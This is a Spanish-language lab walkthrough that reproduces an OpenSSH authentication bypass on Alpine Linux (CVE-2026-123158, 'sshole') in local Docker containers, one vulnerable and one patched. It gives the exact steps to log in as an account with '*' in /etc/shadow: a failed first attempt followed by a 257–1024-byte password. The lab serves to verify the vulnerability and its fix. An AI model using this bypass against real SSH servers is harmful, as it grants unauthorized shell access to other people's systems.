Laboratorio: sshole (CVE-2026-123158) en Alpine Linux con Docker
sshole es una vulnerabilidad de bypass de autenticación por contraseña en OpenSSH cuando se ejecuta sobre musl (el caso de Alpine Linux) y sin PAM. En condiciones específicas, cualquier cuenta cuyo campo de contraseña en /etc/shadow sea * acepta cualquier contraseña de entre 257 y 1024 bytes.
Se ha documentado en la siguiente pagina de Alpine: https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/
En esta entrada reproduzco el fallo de forma controlada con Docker, tanto en una versión vulnerable como en una ya parcheada.
Requisitos
- Docker
- Un cliente SSH (el de cualquier distribución actual sirve)
1. Contenedor vulnerable
Usamos Alpine 3.15 porque las tags más recientes ya incluyen los paquetes parcheados.
Bash
docker rm -f alpine-vuln 2>/dev/null
docker run -d --name alpine-vuln -p 2222:22 alpine:3.15 sh -c '
apk add --no-cache openssh-server &&
ssh-keygen -A &&
adduser -D -s /bin/sh victim &&
adduser -D -s /bin/sh helper &&
echo "helper:HelperPass123" | chpasswd &&
sed -i "s/^victim:[^:]*:/victim:*:/" /etc/shadow &&
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config &&
/usr/sbin/sshd -D -e
'Comprobaciones rápidas:
Bash
docker exec alpine-vuln grep -E "^(victim|helper):" /etc/shadow
docker exec alpine-vuln apk info -v openssh-serverDeberías ver victim:* y un hash real en helper.
2. Prueba con contraseña normal (debe fallar)
Bash
ssh -p 2222 \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
[email protected]Introduce cualquier contraseña corta (por ejemplo wrong). El acceso es denegado, como es de esperar.
3. Prueba con contraseña larga (bypass)
Vuelve a lanzar el mismo comando SSH:
Bash
ssh -p 2222 \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
-o NumberOfPasswordPrompts=3 \
[email protected]- Primer password: escribe cualquier cosa (ej: wrong) → falla.
- Segundo password: pega una cadena de 300 letras A.
El segundo intento es aceptado y entras como victim.
Nota: el primer intento es necesario. En la misma conexión, OpenSSH “prepara” el salt usando la otra cuenta. A partir del segundo intento el bypass funciona.
4. Contenedor con la versión parcheada
Bash
docker rm -f alpine-fixed 2>/dev/null
docker run -d --name alpine-fixed -p 2223:22 alpine:3.24 sh -c '
apk update && apk upgrade -U -a &&
apk add --no-cache openssh-server &&
ssh-keygen -A &&
adduser -D -s /bin/sh victim &&
adduser -D -s /bin/sh helper &&
echo "helper:HelperPass123" | chpasswd &&
sed -i "s/^victim:[^:]*:/victim:*:/" /etc/shadow &&
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config &&
/usr/sbin/sshd -D -e
'5. Validar que el parche funciona
Repite exactamente la misma prueba de contraseña larga contra el puerto 2223:
Bash
ssh -p 2223 \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
-o NumberOfPasswordPrompts=3 \
[email protected]- Primer password: cualquier cosa → falla.
- Segundo password: 300 A → también falla.
El bypass ya no es posible.
Limpieza
Bash
docker rm -f alpine-vuln alpine-fixedEsta es la forma más sencilla de reproducir sshole en local y comprobar que la actualización de Alpine cierra el vector.